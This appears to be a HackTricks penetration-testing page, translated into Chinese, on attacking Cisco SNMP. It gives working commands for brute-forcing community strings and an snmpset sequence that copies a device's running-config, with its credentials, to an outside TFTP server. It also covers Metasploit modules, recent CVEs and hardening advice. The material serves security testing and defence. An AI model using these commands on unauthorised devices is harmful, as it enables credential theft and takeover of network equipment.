96 lines
4.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Cisco SNMP
{{#include ../../banners/hacktricks-training.md}}
## Pentesting Cisco Networks
**SNMP** 通过 UDP 在 **161/UDP** 端口上处理一般消息,在 **162/UDP** 端口上处理陷阱消息。该协议依赖于 *community strings*,作为明文“密码”,使 SNMP 代理和管理者之间能够进行通信。这些字符串决定了访问级别,具体为 **只读 (RO) 或读写 (RW) 权限**
一个经典但仍然极其有效的攻击向量是 **暴力破解 community strings**,以便从未认证用户提升为设备管理员 (RW community)。执行此任务的实用工具是 [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
```bash
onesixtyone -c community_strings.txt -i targets.txt
```
其他快速选项是 Nmap NSE 脚本 `snmp-brute` 或 Hydra 的 SNMP 模块:
```bash
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
```
---
### 通过 SNMP 转储配置 (CISCO-CONFIG-COPY-MIB)
如果您获得了一个 **RW community**,您可以通过滥用 CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`) 将 running-config/startup-config 复制到 TFTP/FTP 服务器 *而无需 CLI 访问*。两种常见的方法是:
1. **Nmap NSE `snmp-ios-config`**
```bash
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1
```
该脚本自动协调复制操作并将配置打印到stdout。
2. **手动 `snmpset` 序列**
```bash
# Copy running-config (4) to a TFTP server (1) random row id 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
```
行标识符是*一次性*的;在五分钟内重复使用会触发`inconsistentValue`错误。
一旦文件在您的TFTP服务器上您可以检查凭据`enable secret``username <user> secret`等),甚至可以将修改后的配置推送回设备。
---
### Metasploit工具
* **`cisco_config_tftp`** 在滥用相同MIB后通过TFTP下载运行配置/启动配置。
* **`snmp_enum`** 收集设备清单信息、VLAN、接口描述、ARP表等。
```bash
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run
```
---
## 最近的 Cisco SNMP 漏洞 (2023 2025)
跟踪供应商公告对于在参与中确定 *零日到 n 日* 机会非常有用:
| 年份 | CVE | 受影响特性 | 影响 |
|------|-----|-----------------|--------|
| 2025 | CVE-2025-20174 | SNMP 子系统 | 精心构造的数据包导致在 IOS/IOS-XE (v1/v2c/v3) 上经过身份验证的 *DoS* (重启)。 |
| 2024 | CVE-2024-20373 | IPv4 ACL 处理 | 配置错误的 **扩展** ACL 静默 *失败*,允许在已知有效社区/用户时进行未经身份验证的 SNMP 轮询。 |
| 2025 | (尚无 CVE) | SNMPv3 配置限制绕过 | 有效的 v3 用户可以从应被拒绝的地址进行轮询。 |
可利用性通常仍然依赖于拥有社区字符串或 v3 凭据——这也是暴力破解它们仍然相关的另一个原因。
---
## 加固与检测提示
* 升级到修复的 IOS/IOS-XE 版本(请参阅上述 CVE 的 Cisco 公告)。
* 优先使用 **SNMPv3**`authPriv` (SHA-256/AES-256) 而不是 v1/v2c。
```
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
```
* 将 SNMP 绑定到管理 VRF并 **使用 *标准* 编号的 IPv4 ACL 限制**(扩展命名 ACL 风险较大 CVE-2024-20373
* 禁用 **RW 社区**;如果在操作上需要,使用 ACL 和视图限制它们:
`snmp-server community <string> RW 99 view SysView`
* 监控:
- UDP/161 峰值或意外来源SIEM 规则)。
- `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` 事件,指示带外配置更改。
* 启用 **SNMPv3 日志记录**`snmp-server packetsize 1500` 以减少某些 DoS 向量。
---
## 参考文献
- Cisco: *如何使用 SNMP 在 Cisco 设备之间复制配置*
- Cisco 安全公告 *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)
{{#include ../../banners/hacktricks-training.md}}